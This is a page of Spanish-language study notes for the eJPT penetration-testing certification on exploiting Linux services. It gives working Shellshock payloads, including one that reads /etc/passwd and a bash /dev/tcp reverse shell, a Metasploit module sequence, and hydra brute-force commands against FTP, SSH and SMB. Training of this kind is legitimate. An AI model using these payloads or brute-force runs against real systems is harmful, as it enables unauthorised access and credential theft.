eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Exploiting Bash CVE-2014-6271 Vulnerability (Shellshock)
  • CVE-2014-6271 - Shellshock
  • Shellshock Explotation
  • Demo: Exploiting Bash CVE-2014-6271 Vulnerability (Shellshock)
  • Quiz
  • Exploiting FTP
  • Demo: Exploiting FTP
  • Quiz
  • Exploiting SSH
  • Demo: Exploiting SSH
  • Quiz
  • Exploiting SAMBA
  • Demo: Exploiting SAMBA
  • Quiz
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: System/Host Based Attacks

Exploiting Linux Vulnerabilities

Exploiting Bash CVE-2014-6271 Vulnerability (Shellshock)

Shellshock (CVE-2014-6271) es el nombre dado a una familia de vulnerabilidades en el shell Bash (desde V1.3) que permiten a un atacante ejecutar comandos arbitrarios remotos a través de Bash, lo que en consecuencia le permite obtener acceso remoto al sistema objetivo (target) a través de una carcasa inversa.

La vulnerabilidad Shellshock fue descubierta por Stéphane Chazelas el 12 de septiembre de 2014 y se hizo pública el 24 de septiembre de 2014.

Bash es un shell *Nix que forma parte del proyecto GNU y es el shell predeterminado para la mayoría de las distribuciones de Linux.

CVE-2014-6271 - Shellshock

La vulnerabilidad Shellshock es causada por una vulnerabilidad en Bash, por la cual Bash ejecuta por error comandos finales después de una serie de caracteres: () {:;};.

Esta vulnerabilidad solo afecta a Linux ya que Windows no utiliza Bash ya que no es un sistema operativo basado en *Nix.

En el contexto de la explotación remota, los servidores web Apache configurados para ejecutar scripts CGI o scripts sh también son vulnerables a este ataque.

Apache utiliza scripts CGI (Common Gateway Interface) para ejecutar comandos arbitrarios en el sistema Linux, después de lo cual el resultado se muestra al cliente.

Shellshock Explotation

Para aprovechar esta vulnerabilidad, necesitará localizar un vector de entrada o un script que le permita comunicarse con Bash.

En el contexto de un servidor web Apache, podemos utilizar cualquier script CGI legítimo accesible en el servidor web.

Siempre que se ejecuta un script CGI, el servidor web iniciará un nuevo proceso y ejecutará el script CGI con Bash. La técnica mas efectiva es ingresar parámetros o caracteres dentro del encabezado HTTP del agente del usuario y luego especificar los otros comandos que nos gustaría ejecutar después

Esta vulnerabilidad se puede explotar tanto de forma manual como automática con el uso de un módulo de explotación de MSF. Si en caso esto se quiere realizar de forma manual se debera de tomar en cuenta el uso de un proxy para que podamos interceptar el trafico y usar el proxy Burp. Ambos casos se veran como obtener un shell inverso o una sesion de interprete, respectivamente.

Demo: Exploiting Bash CVE-2014-6271 Vulnerability (Shellshock)

# Enumeracion
nmap -sV <Target>

# En caso de indentificar el servicio Apache, hacer uso del navegador
# Inspeccion el codigo fuente de la pagina para ver la posibilidad de hacer uso del
# Script CGI
view-source:http://<Target>
# Comprobar si dentro del codigo existe algun script con la extension .cgi

# Comprobar que el <Target> sea vulnerable a la vulnerabilidad
nmap -sV <Target> --script=http-shellshock --script-args "http-shellshock.uri=/<script.cgi> (gettime.cgi)"
# Despues de confirmar de que es vulnerable, abrir Burp
# Configurar e Interceptar el trafico con Burp
# Despues de Interceptar el trafico vamos a inyectar caracteres en el encabezado 
# http del User-Agent
# Primero usar la accion de "Send to Repeater" y dirigirse a la pestaña de Repeater
# El valor que contiene User-Agent lo remplazamos con:
() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'
# Enviar ese request
# En la ventana de Response - Raw, vera la salida del comando

Reversing

# Hacker
# Ejecutar desde una terminal el siguiente comando para ejecutar el siguiente comando
nv -nvlp 1234
# Burp Suite
() { :; }; echo; echo; /bin/bash -c 'bash -i>&/dev/tcp/<Target>/<Port> 0>&1'

Explotar la vulnerabilidad de forma automatica

# Iniciar metasploit
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set RHOSTS <Target>
set TARGETURI </script.cgi>
exploit

Quiz

Exploiting FTP

FTP (File Transfer Protocol) es un protocolo que utiliza el puerto TCP 21 y se utiliza para facilitar el intercambio de archivos entre un servidor y un cliente/clientes.

También se utiliza con frecuencia como medio para transferir archivos hacia y desde el directorio de un servidor web.

La autenticación FTP requiere una combinación de nombre de usuario y contraseña. Como resultado, podemos realizar un ataque de fuerza bruta al servidor FTP para identificar credenciales legítimas.

En algunos casos, los servidores FTP pueden configurarse para permitir el acceso anónimo, lo que en consecuencia permite que cualquiera acceda al servidor FTP sin proporcionar ninguna credencial legítima.

Generalmente se asegura bastante el servicio FTP, por lo cual es común realizar ataques de fuerza bruta o aprovechando alguna vulnerabilidad dentro del servicio FTP que el servidor este utilizando.

Demo: Exploiting FTP

# Identificar si se esta ejecutando algun servicio de FTP o el vendor/version
nmap -sV <Target>

# En terminos de acceso anonimo hay varias formas en las que se puede comprobar
# dicha configuracion

#
ftp <Target>
anonymous

# Verificar si el servicio FTP admite sesiones anonimas
# Verificar si cuentas con el script "ftp-anon.nse" y ver si realmente es vulnerable
ls -al /usr/share/nmap/scripts/ | grep ftp-*

# Ataque de Fuerza Bruta
# La herramienta mas poderoza es Hydra.
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <Target> -t 4 ftp

# Vulnerabilidad
searchsploit ProFTPD
# Buscar el que mas se acomode a explotar la vulnerabilidad


Quiz

Exploiting SSH

SSH (Secure Shell) es un protocolo de administración remota que ofrece cifrado y es el sucesor de Telnet.

Normalmente se utiliza para el acceso remoto a servidores y sistemas.

SSH usa el puerto TCP 22 de forma predeterminada; sin embargo, al igual que otros servicios, se puede configurar para usar cualquier otro puerto TCP abierto.

La autenticación SSH se puede configurar de dos maneras:

  • Autenticación de nombre de usuario y contraseña

  • Autenticación basada en Keys (La autenticacion basada en claves implica el uso de dos pares de claves "Publica y Privada). Donde la clave publica esta en el servidor y la clave privada se le da a la persona quien va a acceder esencialmente de forma remota al sistema atraves de SSH.

En el caso de la autenticación de nombre de usuario y contraseña, podemos realizar un ataque de fuerza bruta al servidor SSH para identificar credenciales legítimas y, en consecuencia, obtener acceso al sistema de destino.

Demo: Exploiting SSH

nmap -sV <Target>
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <Target> -t 4 ssh

Quiz

Exploiting SAMBA

SMB (Server Message Block) es un protocolo de intercambio de archivos en red que se utiliza para facilitar el intercambio de archivos y periféricos entre computadoras en una red local (LAN).

SMB utiliza el puerto 445 (TCP). Sin embargo, originalmente, SMB se ejecutaba sobre NetBIOS usando el puerto 139.

Samba es la implementación de Linux de SMB y permite que los sistemas Windows accedan a dispositivos y recursos compartidos de Linux.

SAMBA utiliza autenticación de nombre de usuario y contraseña para obtener acceso al servidor o a un recurso compartido de red.

Podemos realizar un ataque de fuerza bruta al servidor SAMBA para poder obtener credenciales legítimas.

Después de obtener credenciales legítimas, podemos usar una utilidad llamada SMBMap para enumerar las unidades compartidas SAMBA, enumerar el contenido de los recursos compartidos, así como descargar archivos y ejecutar comandos remotos en el destino.

También podemos utilizar una herramienta llamada smbclient. smbclient es un cliente que forma parte del paquete de software SAMBA. Se comunica con un servidor LAN Manager, ofreciendo una interfaz similar a la del programa ftp. Se puede utilizar para descargar archivos del servidor a la máquina local, cargar archivos desde la máquina local al servidor y recuperar información del directorio del servidor.

Demo: Exploiting SAMBA


nmap -sV <Target>

# Identificar el servivio de SAMBA (139 - 445)
hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <Target> smb

# Despues de identificar las credenciales se puede utilizar la herramienta smbmap
# La misma nos ayudara enumerar el sistema destino
smbmap
smbmap -H <Target> -u admin -p password1
# Enumeracion con enum4 linux (Herramienta mas completa para enumerar)
enum4linux -a <Target>
enum4linux -a -u admin -p password1 <Target>

# Para acceder al recurso compartido usar clientsmb
smbclient
# Para verificar su documentacion ingresar 
man smbclient
# El siguiente comando nos muestra los recursos compartidos y el correspondiente
# privilegio
smbclient -L <Target> -U admin
# Para ingresar al recurso compartido
smbclient //<Target>/<Recurso> -U admin
# le prporcionara una consola
# usar el comando "?" para ver los comandos que puede ejecutar


Quiz

PreviousLinux VulnerabilitiesNextLinux Privilege Escalation

Last updated 4 months ago